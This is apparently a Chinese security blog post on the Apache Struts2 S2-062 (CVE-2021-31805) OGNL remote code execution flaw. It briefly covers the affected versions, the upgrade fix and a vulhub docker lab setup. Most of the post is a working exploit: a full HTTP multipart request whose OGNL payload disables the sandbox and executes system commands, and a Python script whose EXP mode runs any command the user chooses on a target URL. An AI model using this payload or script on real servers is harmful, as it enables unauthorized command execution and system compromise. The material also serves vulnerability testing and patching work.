CVE-2021-31805 exp Struts2 S2-062远程代码执行漏洞

漏洞简介

针对 CVE-2020-17530 发布的修复不完整。因此，从 Apache Struts 2.0.0 到 2.5.29，如果开发人员通过使用 %{…} 语法应用强制 OGNL 评估，仍然有一些标签的属性可以执行双重评估。对不受信任的用户输入使用强制 OGNL 评估可能会导致远程代码执行漏洞。

漏洞危害

高危

漏洞影响版本范围

2.0.0 ≤ Apache Struts≤2.5.29

漏洞已修复的版本

Struts ≥ 2.5.30的版本不受影响

漏洞修复方法

目前官方已发布最新版本，建议受影响的用户及时更新升级到最新版本，下载链接：

https://struts.apache.org/download.cgi#struts-ga

漏洞环境搭建(docker环境)

使用vulhub/struts2/s2-061/
版本:struts2.5.25

GitHub链接：

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

docker-compose up -d

CVE-2021-31805 exp

POST /index.action HTTP/1.1
Host: 10.1.1.14:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1095

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

漏洞测试脚本

s2-062.py源码:

import requests
from lxml import etree
import argparse

def poc(url):
    try:
        headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
        data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"
        text=requests.post(url, headers=headers, data=data).text
        if "id" in text:
            print("发现漏洞")
            page=etree.HTML(text)
            data = page.xpath('//a[@id]/@id')
            print(data[0])
    except:
        print("POC检测失败")

def EXP(url,cmd):
    try:
        headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
        data ="------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)
        text=requests.post(url, headers=headers, data=data).text
        if "id" in text:
            print("命令回显")
            page=etree.HTML(text)
            data = page.xpath('//a[@id]/@id')
            print(data[0])
    except:
        print("EXP检测失败")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='S2-062验证')
    parser.add_argument('--url', help="要验证的URL")
    parser.add_argument('--cmd',help="你想执行的命令",default="")
    args = parser.parse_args()
    if args.cmd !="":
        EXP(args.url,args.cmd)
    else:
        poc(args.url)

漏洞细节参考:

https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html

转载请注明出处及链接